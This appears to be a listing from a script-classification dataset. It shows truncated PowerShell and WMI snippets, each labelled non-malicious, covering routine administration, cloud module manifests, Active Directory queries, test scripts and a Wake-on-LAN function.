[dynamic, provider("dcismprovider"), Association] class DCIM_CLPRBAIdentityMemberOfCollection : CIM_MemberOfCollection { [ Description ("The aggregated member of the Collection."), Key, Override ("Member") ] CIM_ManagedElement REF Member; [ Aggregate, ...
combined_dataset/train/non-malicious/sample_7_19.ps1
sample_7_19.ps1
##---------------------------------------------------------------------------- ## Copyright (c) Axis Communications AB, SWEDEN. All rights reserved. ##---------------------------------------------------------------------------- # Import string constants . ./StringConstants.ps1 # Import shared functions and var...
combined_dataset/train/non-malicious/2432.ps1
2432.ps1
[CmdletBinding()] [OutputType('System.DirectoryServices.ActiveDirectorySecurity')] param ( [Parameter(Mandatory, ValueFromPipeline, ValueFromPipelineByPropertyName)] [string[]]$Hostname, [Parameter(ValueFromPipeline, ValueFromPipelineByPropertyName)] [string]$DomainName = (Get-ADDomain).Forest,...
combined_dataset/train/non-malicious/sample_52_62.ps1
sample_52_62.ps1
# # Module manifest for module 'OCI.PSModules.Servicemanagerproxy' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Servicemanagerproxy.dll' # Version number of this module. ModuleVersion = '79.0.0' # Sup...
combined_dataset/train/non-malicious/2149.ps1
2149.ps1
using namespace System.Management.Automation using namespace System.Management.Automation.Language using namespace System.Collections using namespace System.Collections.Generic class CompletionTestResult { [string]$CompletionText [string]$ListItemText [CompletionResultType]$ResultType [string]$Too...
combined_dataset/train/non-malicious/232.ps1
232.ps1
function Get-ADSITokenGroup { [CmdletBinding()] param ( [Parameter(ValueFromPipeline = $true)] [Alias('UserName', 'Identity')] [String]$SamAccountName, [Alias('RunAs')] [System.Management.Automation.Credential()] $Credential = [System.Management.Automati...
combined_dataset/train/non-malicious/sample_56_59.ps1
sample_56_59.ps1
# ------------------------------------------------------------ # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License (MIT). See License.txt in the repo root for license information. # ------------------------------------------------------------ param ( [Parameter(Manda...
combined_dataset/train/non-malicious/3684.ps1
3684.ps1
function Test-SynchronizationSettingCrud { $resourceGroup = getAssetName try{ $AccountName = getAssetName $ShareName = getAssetName $Name = getAssetName $RecurrenceInterval = "hour" $SynchronizationTime = "06/19/2019 22:53:33" $createdSetting = New-AzDataShareSynchronizationSetting -AccountNam...
combined_dataset/train/non-malicious/sample_14_30.ps1
sample_14_30.ps1
ConvertFrom-StringData @' id_sandev=Computer Storage Information id_sanstorageinfooutput=SAN utility output id_sanstorageinfooutputdesc=Storage Information '@ # SIG # Begin signature block # MIIoUgYJKoZIhvcNAQcCoIIoQzCCKD8CAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7Y...
combined_dataset/train/non-malicious/sample_56_3.ps1
sample_56_3.ps1
#======================================================================================================================================================================= # Copyright (c) Microsoft Corporation. All rights reserved. # # Description: # # Azure File Sync (AFS): repair the corrupted event channels # ...
combined_dataset/train/non-malicious/Modified WOL impl..ps1
Modified WOL impl..ps1
function SendUdpWol { #Packet construction reference: #- http://wiki.wireshark.org/WakeOnLAN #- http://en.wikipedia.org/wiki/Wake-on-LAN # #This code is a modified version of: # - http://thepowershellguy.com/blogs/posh/archive/2007/04/01/powershell-wake-on-lan-script.aspx param ( [parameter(Mandat...
combined_dataset/train/non-malicious/sample_57_82.ps1
sample_57_82.ps1
# ---------------------------------------------------------------------------------- # # Copyright Microsoft Corporation # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apa...